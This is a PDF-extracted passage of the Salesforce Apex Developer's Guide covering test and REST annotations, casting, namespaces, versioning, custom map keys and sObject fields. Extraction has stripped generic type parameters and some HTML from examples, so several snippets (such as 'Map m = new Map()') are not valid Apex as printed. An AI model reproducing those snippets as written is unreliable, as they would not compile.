Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify
actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult,
UpsertResult, DeleteResult, SelectOption, or PageReference.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.
TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test methods
in the class.
92
Classes, Objects, and Interfaces
TestVisible Annotation
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
}
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Note: You can have only one test setup method per test class.
Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access
to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods aren’t supported in this class.
Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
For more information, see Using Test Setup Methods.
TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test
class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level
for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to
access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it should
be accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;
// Private method
@TestVisible private static void updateRecord(String name) {
// Do something
}
}
This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and method.
@isTest
private class TestVisibleExampleTest {
@isTest static void test1() {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);
// Access private method annotated with TestVisible
TestVisibleExample.updateRecord('RecordName');
// Perform some verification
93
Classes, Objects, and Interfaces
Apex REST Annotations
}
}
Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
• @RestResource(urlMapping='/yourUrl')
• @HttpDelete
• @HttpGet
• @HttpPatch
• @HttpPost
• @HttpPut
IN THIS SECTION:
1. RestResource Annotation
2. HttpDelete Annotation
3. HttpGet Annotation
4. HttpPatch Annotation
5. HttpPost Annotation
6. HttpPut Annotation
RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
These are some considerations when using this annotation:
• The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
• A wildcard character (*) may be used.
• The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not
My_Url.
• To use this annotation, your Apex class must be defined as global.
URL Guidelines
URL path mappings are as follows:
• The path must begin with a '/'
• If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed
by '/'
The rules for mapping URLs are:
• An exact match always wins.
• If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
• If no wildcard match is found, an HTTP response status code 404 is returned.
94
Classes, Objects, and Interfaces
Classes and Casting
The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.
HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
• To use this annotation, your Apex method must be defined as global static.
• Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.
HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.
HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
Classes and Casting
In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object
from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can
use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport).
95
Classes, Objects, and Interfaces
Classes and Casting
In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned
as a report object, then is cast back into a custom report object.
Public virtual class Report {
Public class CustomReport extends Report {
// Create a list of report objects
Report[] Reports = new Report[5];
// Create a custom report object
CustomReport a = new CustomReport();
// Because the custom report is a sub class of the Report class,
// you can add the custom report object a to the list of report objects
Reports.add(a);
//
//
//
//
The following is not legal, because the compiler does not know that what you are
returning is a custom report. You must use cast to tell it that you know what
type you are returning
CustomReport c = Reports.get(0);
// Instead, get the first item in the list by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
}
}
96
Classes, Objects, and Interfaces
Classes and Collections
Casting Example
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 77.
IN THIS SECTION:
1. Classes and Collections
2. Collection Casting
Classes and Collections
Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for
example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined
objects.
97
Classes, Objects, and Interfaces
Collection Casting
If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an
interface i1, and MyC implements i1, then MyC can be placed in the list.
SEE ALSO:
Using Custom Types in Map Keys and Sets
Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {
Public class CustomerPurchaseOrder extends PurchaseOrder {
}
{
List POs = new PurchaseOrder[] {};
List CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}
Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of
PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map—if the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.
Differences Between Apex Classes and Java Classes
The following is a list of the major differences between Apex classes and Java classes:
• Inner classes and interfaces can only be declared one level deep inside an outer class.
• Static methods and variables can only be declared in a top-level class definition, not in an inner class.
• An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
• The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
• Specifying no access modifier for a method or variable and the private access modifier are synonymous.
• The public access modifier means the method or variable can be used by any Apex in this application or namespace.
98
Classes, Objects, and Interfaces
Class Definition Creation
• The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
• Methods and classes are final by default.
– The virtual definition modifier allows extension and overrides.
– The override keyword must be used explicitly on methods that override base class methods.
• Interface methods have no modifiers—they are always global.
• Exception classes must extend either exception or another user-defined exception.
– Their names must end with the word exception.
– Exception classes have four implicit constructors that are built-in, although you can add others.
• Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
SEE ALSO:
Exceptions in Apex
Class Definition Creation
To create a class in Salesforce:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default
values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments,
test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing
your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from
a WSDL Document on page 461.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.
99
Classes, Objects, and Interfaces
Naming Conventions
The Apex Class Editor
The Apex and Visualforce editor has the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an tag with an tag and
keep all the attributes on the original intact, search for and replace it with .
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
(
) to quickly navigate through the editor.
Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.
IN THIS SECTION:
1. Naming Conventions
2. Name Shadowing
Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.
100
Classes, Objects, and Interfaces
Name Shadowing
Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}
Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange
packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally
unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the
developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c
Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is
marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the
namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified.
Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those
objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from theAppExchange.
101
Classes, Objects, and Interfaces
Using the System Namespace
Using Namespaces When Invoking Package Methods
To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)
IN THIS SECTION:
1. Using the System Namespace
2. Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import
Schema.*, but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items
in your unmanaged code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace
prefix to the sObject name in your code.
3. Namespace, Class, and Variable Name Precedence
4. Type Resolution and System Namespace for Types
Using the System Namespace
The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance
of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of
these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('https://yourInstance.salesforce.com/');
And:
URL url1 = new URL('https://yourInstance.salesforce.com/');
Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();
Or:
URL.getCurrentRequestUrl();
Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.
Using the System Namespace for Disambiguation
It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you
must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your
organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime defaults to your custom
class and calls the methods in your class. Let’s take a look at the following example.
102
Classes, Objects, and Interfaces
Using the Schema Namespace
Create this custom Apex class:
public class Database {
public static String query() {
return 'wherefore art thou namespace?';
}
}
Execute this statement in the Developer Console:
sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
SEE ALSO:
Using the Schema Namespace
Using the Schema Namespace
The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import Schema.*,
but you need to fully qualify your uses of Schema namespace elements when they have naming conflicts with items in your unmanaged
code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace prefix to the sObject name
in your code.
You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the
DescribeSObjectResult and FieldSet classes are in the Schema namespace, these code segments are equivalent.
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map FSMap = d.fieldSets.getMap();
And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map FSMap = d.fieldSets.getMap();
Using the Schema Namespace for Disambiguation
Use Schema.object_name to refer to an sObject that has the same name as a custom class. This disambiguation instructs the
Apex runtime to use the sObject.
public class Account {
public Integer myInteger;
}
// ...
103
Classes, Objects, and Interfaces
Namespace, Class, and Variable Name Precedence
Schema.Account myAccountSObject = new Schema.Account();
Account accountClassInstance = new Account();
myAccountSObject.Name = 'Snazzy Account';
accountClassInstance.myInteger = 1;
SEE ALSO:
Using the System Namespace
Namespace, Class, and Variable Name Precedence
Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions
in the form of name1.name2.[...].nameN as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name
with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.
If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates
the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
• If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and
name2 is a method invocation.
• If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static
variable name with name3 - nameM as field references, and nameN is a method invocation.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}
104
Classes, Objects, and Interfaces
Type Resolution and System Namespace for Types
Then the following expressions are all legal:
c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()
c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()
Type Resolution and System Namespace for Types
Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:
1. For a type reference TypeN, the parser first looks up that type as a scalar type.
2. If TypeN is not found, the parser looks up locally defined types.
3. If TypeN still is not found, the parser looks up a class of that name.
4. If TypeN still is not found, the parser looks up system types such as sObjects.
For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace
T1 (in that order of precedence).
Apex Code Versions
To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version. If an Apex
class or trigger references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in
subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This
allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version
of the package before the code was deprecated.
Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without
specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex
class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated
with the latest installed version of the managed package by default.
Versioning of Apex Classes and Methods
When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code
is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API
version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.
There is one exception to this rule. The classes and methods of the ConnectApi namespace are supported only in the API versions
specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions.
For more information, see ConnectApi Versioning and Equality Checking on page 356.
IN THIS SECTION:
1. Setting the Salesforce API Version for Classes and Triggers
2. Setting Package Versions for Apex Classes and Triggers
105
Classes, Objects, and Interfaces
Setting the Salesforce API Version for Classes and Triggers
Setting the Salesforce API Version for Classes and Triggers
To set the Salesforce API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce API. This is also the version of Apex associated with the class or trigger.
3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed
due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.
Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a
method in the test class C1, because the Categories field is not available in version 13.0 of the API.
The first class is saved using Salesforce API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert
// retrieve the new idea
Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];
return insertedIdea;
}
}
The following class is saved using Salesforce API version 16.0:
@isTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];
// assert that the categories field from the object created
// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}
106
Classes, Objects, and Interfaces
Setting Package Versions for Apex Classes and Triggers
Setting Package Versions for Apex Classes and Triggers
To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue
to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version
setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only
displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click Save.
Note the following when working with package version settings:
• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the
Apex class or trigger is associated with the latest installed version of the managed package by default.
• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger.
Use Show Dependencies to find where a managed package is referenced by a class or trigger.
Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface.
The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable
interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface.
Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values, but if you add them as keys, there are some special rules
that your class must implement for the map to function correctly, that is, for the key to fetch the right value. Similarly, if set elements are
instances of your custom class, your class must follow those same rules.
Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.
Adding equals and hashCode Methods to Your Class
To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an
implementation of the following two methods in your class:
• The equals method with this signature:
public Boolean equals(Object obj) {
// Your implementation
}
107
Classes, Objects, and Interfaces
Using Custom Types in Map Keys and Sets
Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class,
the equals method must be:
– Reflexive: x.equals(x)
– Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true
– Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true
– Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false
– For any non-null reference value x, x.equals(null) should return false
The equals method in Apex is based on the equals method in Java.
• The hashCode method with this signature:
public Integer hashCode() {
// Your implementation
}
Keep in mind the following when implementing the hashCode method.
– If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return
the same value.
– If two objects are equal, based on the equals method, hashCode must return the same value.
– If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct
values.
The hashCode method in Apex is based on the hashCode method in Java.
Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the
== operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass
if (obj1 == obj2) {
// Do something
}
if (obj1.equals(obj2)) {
// Do something
}
Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;
public PairNumbers(Integer a, Integer b) {
108
Classes, Objects, and Interfaces
Using Custom Types in Map Keys and Sets
x=a;
y=b;
}
public Boolean equals(Object obj) {
if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}
public Integer hashCode() {
return (31 * x) ^ y;
}
}
This code snippet makes use of the PairNumbers class.
Map m = new Map();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');
// Map size is 2 because the entry with
// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());
// Use the == operator
if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}
// Perform some other operations
System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
List mValues = m.values();
System.debug('m.values: ' + mValues);
// Create a set
Set s1 = new Set();
s1.add(p1);
s1.add(p2);
s1.add(p3);
109
Classes, Objects, and Interfaces
Using Custom Types in Map Keys and Sets
// Verify that we have only two elements
// since the p3 is equal to p1.
System.assertEquals(2, s1.size());
110
CHAPTER 7
In this chapter ...
•
sObject Types
•
Adding and
Retrieving Data
•
DML
•
SOQL and SOSL
Queries
•
SOQL For Loops
•
sObject Collections
•
Dynamic Apex
•
Apex Security and
Sharing
•
Custom Settings
Working with Data in Apex
This chapter describes how you can add and interact with data in the Force.com platform persistence
layer. In this chapter, you’ll learn about the main data type that holds data objects—the sObject data
type. You’ll also learn about the language used to manipulate data—Data Manipulation Language (DML),
and query languages used to retrieve data, such as the (), among other things. This chapter also explains
the use of custom settings in Apex.
111
Working with Data in Apex
sObject Types
sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An sObject
variable represents a row of data and can only be declared in Apex using the SOAP API name of the object. For example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();
Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be
used in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();
You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;
DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();
Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
For information on accessing existing sObjects from the Force.com platform database, see “SOQL and SOSL Queries” in the Force.com
SOQL and SOSL Reference.
Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone
operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is
initially inserted to the database for the first time. For more information see Lists on page 30.
Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;
For more information on custom labels, see “Custom Labels” in the Salesforce online help.
112
Working with Data in Apex
Accessing sObject Fields
Accessing sObject Fields
As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account();
a.Name = 'Acme';
// Access the account name field and assign it 'Acme'
System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic sObject
put and get methods. See sObject Class.
This example shows how you can access the Id field and operations that aren’t allowed on generic sObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;
Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.
If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
